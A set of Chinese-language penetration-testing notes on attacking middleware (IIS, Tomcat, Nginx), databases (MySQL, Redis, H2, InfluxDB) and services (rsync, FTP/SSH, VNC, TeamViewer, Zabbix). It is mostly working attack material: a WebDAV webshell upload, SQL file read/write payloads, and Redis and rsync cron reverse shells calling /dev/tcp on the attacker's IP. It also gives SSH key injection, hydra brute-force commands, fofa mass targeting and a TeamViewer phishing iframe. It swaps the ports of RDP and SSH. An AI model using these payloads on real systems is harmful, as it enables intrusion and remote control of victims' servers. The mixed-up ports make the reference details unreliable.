服务攻防


一、中间件漏洞

author::web服务器、Web中间件和Web容器的区别

Vulhub - Docker-Compose file for vulnerability environment

中间件是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。他充当的功能是:将应用程序运行环境与操作系统隔离,从而实现应用程序开发者不必为更多系统问题忧虑,而直接关注该应用程序在解决问题上的能力 。容器就是中间件的一种。

1 IIS

1.1 PUT上传漏洞

WebDAV是一种基于 HTTP1.1的通信协议,扩展了方法,让应用程序可以直接对服务器操作,并支持文件 lock 和 unlock , 还支持文件的版本控制。

IIS6.0 PUT漏洞原因:

  1. IIS Server 在 Web 服务扩展中开启了 WebDAV。
  2. IIS 配置了可以写入的权限。

漏洞利用:

  1. 利用 OPTIONS 测试 WebDAV 是否开启

    OPTIONS / HTTP/1.1
    HOST:host_ip


    成功返回包:
    HTTP/1.1 200 OK
    Allow: GET, HEAD, OPTIONS, TRACE
    DAV: 1, 2
    Content-Length: 0


    失败返回包:
    HTTP/1.1 501 Not Implemented
    Content-Length: 311
    Content-Type: text/html; charset=us-ascii
  2. 利用 PUT 协议上传 <%eval request(“123”)%> 的 txt 文件

    PUT /1.txt HTTP/1.1
    ......(构造包头)
    <%eval request("123")%>
  3. 利用 move 方法将扩展改成 asp(报错可以改成shell.asp.;txt,利用解析漏洞)

    MOVE /1.txt HTTP/1.1
    HOST:host_ip
    Destination:url/shell.asp
# 简单 OPTIONS 测试 WebDAV 是否开启的小工具
import requests
import sys
import socket
import struct
import concurrent.futures

# IP地址遍历
def ip_range(start_ip, end_ip):
start = struct.unpack('>I', socket.inet_aton(start_ip))[0]
end = struct.unpack('>I', socket.inet_aton(end_ip))[0]

result = []
for ip in range(start, end + 1):
result.append(socket.inet_ntoa(struct.pack('>I', ip)))

return result

def test_webdav(ip, port):
url = f"http://{ip}:{port}/" # 构建URL
try:
headers = {
'Accept': "application/json, text/plain, */*",
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
'Connection': "close" }
requests.DEFAULT_RETRIES = 5 # 增加重试连接次数
s = requests.session()
s.keep_alive = False # 关闭多余连接
response = requests.options(url, timeout=5, headers=headers, verify=False)
if 'DAV' in response.headers:
print(f"WebDAV is enabled on {url}")
else:
print(f"WebDAV is not enabled on {url}")
except requests.exceptions.ConnectTimeout as e:
print(f"Connection timeout occurred while testing {url}")
except requests.exceptions.RequestException as e:
print(f"An error occurred while testing {url}: {e}")

def test_webdav_in_range(ip_start, ip_end, port):
ips = ip_range(ip_start, ip_end)
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
future_to_ip = {executor.submit(test_webdav, ip, port): ip for ip in ips}

for future in concurrent.futures.as_completed(future_to_ip):
ip = future_to_ip[future]
try:
future.result()
except Exception as e:
print(f"Error occurred while testing {ip}: {e}")

if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: python test_webdav.py <start_ip> <end_ip> <port>")
sys.exit(1)

ip_start = sys.argv[1]
ip_end = sys.argv[2]
port = sys.argv[3]
test_webdav_in_range(ip_start, ip_end, port)

# 使用
python name.py 192.168.1.1 192.168.1.5 80

1.2 短文件名枚举漏洞

漏洞原理:

  • 成因

  • 例如文件中存在一个名为backup-09df9a1s9d1ga9sdg1as.sql的文件,此时只需要访问http://ip/backup~1.sql就可以访问到。

漏洞利用:设 IIS6.0,网站根目录存在backup698.txt:

  1. 访问http://ip/a\*~1\*/.aspx,返回400,说明不存在。
  2. 访问http://ip/b\*~1\*/.aspx,返回404,说明存在。
  3. 然后继续试http://ip/ba\*~1\*/.aspx,以此类推。
  4. 判断出前六位之后,去除后面那个*号再测试一次。如果返回404表示是文件夹,400则是文件(因为*是通配符)

漏洞利用工具:IIS_shortname_Scanner

漏洞修复:

  1. 关闭NTFS对8.3文件名格式的支持:修改下列的注册列表值为1,然后重启。(此修改只能禁止NTFS对8.3文件名格式的支持,无法移除已经存在的文件的段文件名)HKLM\STSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation

  2. 禁用ASP.NET:IIS管理器——Web服务扩展——ASP.NET禁用

  3. 禁止在url中用"~"以及其Unicode编码。

IIS 版本 URL 结果/错误信息
IIS 6 /valid*~1*/.aspx HTTP 404-File not found
IIS 6 /Invalid*~1*/.aspx HTTP 400-Bad Request
IIS 5.x /valid*~1* HTTP 404-File not found
IIS 5.x /Invalid*~1* HTTP 400-Bad Request
IIS 7.x.NET.2(无出错处理) /valid*~1*/ 页面中包含“Error Code 0x00000000”
IIS 7.x.NET.2(无出错处理) /Invalid*~1*/ 页面中包含“Error Code 0x80070002”

1.3 HTTPS.sys

HTTP.SYS远程代码执行漏洞(MS15-034)_http.sys 远程代码执行漏洞(ms15-034)-CSDN博客

1.4 解析漏洞

IIS6.7:

  • 文件名:a.asp;x.jpg:会将jpg作为asp被解析
  • 目录名:a.asp/x.jpg:会将jpg作为asp被解析

IIS7.X:同Nginx

*2 JBoss

  • 重要目录文件

  • 未授权访问

3 Tomcat

Tomcat管理页面弱口令页面Getshell_tomcat弱口令字典-CSDN博客

(CVE-2020-1938)Apache Tomcat远程代码执行漏洞复现_cve-2020-1938复现-CSDN博客

*4 WebLogic

  • 弱口令

5 Apache

5.1 解析漏洞

Apache文件解析漏洞(\x0A,.htaccess,多后缀)_\x0a php-CSDN博客

黑名单验证条件下,可以上传一个x.php%0a文件,绕过对php文件的检测。

Struts2 S2-062(CVE-2021-31805)漏洞分析及复现s2漏洞江左盟宗主的博客-CSDN博客

6 Nginx

6.1 解析漏洞

nginx反向代理原理_nigax反向代理原理-CSDN博客

nginx反向代理:用一台代理服务器,代理真实服务器。用户访问时,不再是访问真实服务器,而是代理服务器。

解析漏洞:a.jpg/x.php:会将jpg作为php被解析


二、数据库漏洞

1 利用流程

利用流程:

  1. 判断服务开放:端口扫描、常见组合猜测(WAMP、LAMP)、信息来源(报错、CMS)
  2. 判断服务类型:数据库、文件传输、远程控制、数据通讯
  3. 判断利用方式:特性漏洞、未授权访问、弱口令爆破

2 高权限读写

MySQL:

  • 读文件:union select 1,load_file('d:/w.txt'),3 --+
  • 写文件:union select 1,'xxx',3 into outfile 'd:/w.txt' --+
  • 安全配置:设置secure-file-priv后,将限定读取的文件位置。比如设置secure-file-priv=c:/,此时将无法读取C盘以外的盘的内容。利用日志突破:突破secure_file_priv

MYSQL注入中load_file()函数的进一步应用

PostgreSQL:

  • 查询当前用户:and 1=2 union select null,current_user,null,null
  • 查询超级用户:and 1=2 union select null,string_agg(username,','),null,null FROM pg_user WHERE usesuper IS TRUE
  • 若当前用户等于超级用户查询,表明当前用户就是超级用户,就可以进行后续的读写文件。读写文件

3 未授权访问

定义:系统或应用程序在访问控制方面存在缺陷,导致未经授权的用户能够获取到未经授权的数据或执行未经授权的操作。

常见服务应用的安全测试:

  1. 配置不当-未授权访问
  2. 安全机制-特定安全漏洞
  3. 安全机制-弱口令爆破攻击

服务开放但检测不出端口:

  1. 处于内网
  2. 端口被修改
  3. 防火墙waf

Mysql:

Hadoop:

influxdb(端口:8086 8088):一款著名的时序数据库,其使用jwt作为鉴权方式。在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句。空加密秘钥串。

H2 database(端口:20051):

  • 定义:一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权,配置如下:

    • spring.h2.console.enabled=true

    • spring.h2.console.settings.web-allow-others=true

  • 利用:JNDI注入攻击

CouchDB(端口:5984):vulhub/couchdb/CVE-2017-12635/README.zh-cn.md at master · vulhub/vulhub (github.com)

ElasticSearch(端口:9200 9300):文件写入&CVE-2014-3120

Redis未授权访问条件:

  1. #bind 127.0.0.1:让非本地用户可以访问
  2. protected-mode no:关闭安全检测
  3. 没有设置密码

Redis自动化脚本:

Redis最新沙箱绕过RCE CVE-2022-0543:

# Redis未授权访问利用IP地址执行
47.100.167.248执行:
# 先连接数据库
redis-cli -h IP


# 1.写Webshell得到Web路径
# 条件:Web目录权限可读写
config set dir /tmp # WEB的写入目录tmp取代web目录
config set dbfilename 1.php # 写入文件名
set test "<?php phpinfo();?>" # 写入文件代码
bgsave # 保存执行
save # 保存执行


# 2.写定时任务反弹shell
# 条件:非本地用户可以访问、protected-mode no
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/<my_IP>/<my_PORT> 0>&1\n\n\n"
config set dbfilename x
save

# 自己的IP地址执行
nc -lvvp PORT


# 3.写入Linux ssh-key公钥
# 利用条件:非本地用户可以访问、Redis服务使用ROOT启动、protected-mode no、允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h <target_IP> -x set xxx

# ip连接
cd /root/.ssh/
ssh -i id_rsa root@<target_IP>
# 连接成功后执行
redis-cli -h <target_IP>
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

三、协议漏洞

1 弱口令

常见协议:

  • FTP(21):文件传输协议
  • RDP(22):Windows远程桌面协议
  • SSH(3389):Linux安全外壳协议

hydra进行协议爆破:

  • ftp爆破:hydra -L <username> -P <password_dict> <IP> ftp -V
  • ssh爆破:hydra -l <username> -P <password_dict> <IP> ssh -V
  • rdp爆破:hydra -l <username> -P <password_dict> <IP> rdp -V

爆破后连接:

  • ftp:ftp://<IP>,然后输入账号和密码
  • ssh:ssh <username>@<IP>
  • rdp:用rdp软件进行连接

2 rsync协议

定义:rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。实现文件的传输和数据库的同步,保证文件的结构同步。

测试命令开启:rsync rsync://<IP>:<PORT>/。回显表示开启。

利用:

  • 读取文件:rsync rsync://<IP>:<PORT>/src/
  • 下载文件:rsync rsync://<IP>:<PORT>/src/etc/passwd ./
  • 上传文件:rsync -av passwd rsync://<IP>:<PORT>/src/tmp/passwd

Linux中Crontab(定时任务)

Crontab命令时间格式:分、时、日、月、周、用户、命令

反弹Shell:

  1. 获取Crontab:rsync rsync://<IP:PORT>/src/etc/crontab <my_path>
  2. 查看内容:发现:17 * * * * root cd / && run-parts --report /etc/cron.hourly。表明每小时的第17分钟会运行/etc/cron.hourly,因此对这个文件进行修改。
  3. 创建并修改文件:
    • touch shell
    • vim shell
    • /bin/bash -i >& /dev/tcp/<my_IP>/<my_port> 0>&1(shell内容)
    • chmod +x shell
  4. 上传文件:rsync -av shell rsync://<IP>:<PORT>/src/etc/cron.hourly
  5. 等待反射:nc -lvvp <my_port>

自动化测试:

  1. fofa搜索port="873",然后将结果导出,将所有IP保存成ip_list.txt
  2. msfconsole
  3. use auxiliary/scanner/rsync/modules_list
  4. set rhosts file:/ip_list.txt
  5. set rport 873
  6. set thread 10
  7. run

3 框架漏洞

ProFTPd:

  • 定义:ProFTPd 是一个开源的 FTP 服务器软件,兼容 Unix 和类 Unix 系统。它可用于搭建 FTP 服务器,允许用户在计算机之间传输文件。 ProFTPd 采用模块化的架构,允许用户根据自己的需求添加功能和扩展性。

  • 任意文件读写(CVE-2015-3306):t0kx/exploit-CVE-2015-3306

Openssh:

libssh:

  • 定义:libssh 是一个用于开发 SSH 客户端和服务器应用程序的开源库,它提供了一组 API,使开发人员能够在他们的应用程序中集成 SSH 功能,如安全的远程连接和文件传输。

  • 身份验证绕过(CVE-2018-10933):CVE-2018-10933 (漏洞复现)

4 远程控制软件

向日葵:

Vnc:

  • 端口:5900
  • 安全中有三种模式:Windows password(基于windows用户密码),VNC password(基于VNC软件密码),None(没密码)。
  • 用客户端(VNC Viewer)去连接这台主机,并不用输入账号密码,就可以直接连接。fofa中搜:app="VNC"&port="5900"。有密码也可以在hydra中进行爆破,不用用户名。
<!-- Teamviewer钓鱼 -->
<!DOCTYPE html>
<html>
<head>
<title>cve-2020-13699</title>
</head>
<body>
<p>Welcome to xiaodi!</p>
<iframe style="height:1px;width:1px;" src='teamviewer10: --play \\attacker-IP\share\fake.tvs'></iframe>
</body>
</html>

<!-- 然后管理员访问网页,将执行命令连接自己的Teamviewer软件 -->

5 监控平台

Zabbix:

  • 定义:是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。是一款服务器监控软件,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。默认端口:10051。为了更好的维护服务器,在蓝队的使用的比较多。
  • 登录绕过漏洞复现(CVE-2022-23131) :【漏洞复现】CVE-2022-23131 Zabbix,后续可以在script中反弹shell然后执行。
  • 其他不常见漏洞:CVE-2017-2824 、CVE-2020-11800

Kibana+Elassticsearch:

  • Kibana定义:一个开源的数据可视化工具,它提供了一种直观的界面,帮助用户对 Elasticsearch 中的数据进行搜索、分析和可视化展示。默认端口5601。
  • Elasticsearch定义:一个开源的分布式搜索和分析引擎,它用于存储和检索大规模数据,并提供了实时搜索和分析功能。Elasticsearch 被用于构建全文搜索引擎、日志分析系统和监控系统等应用。
  • 远程代码执行(CVE-2019-7609):CVE-2019-7609:Kibana远程代码执行漏洞复现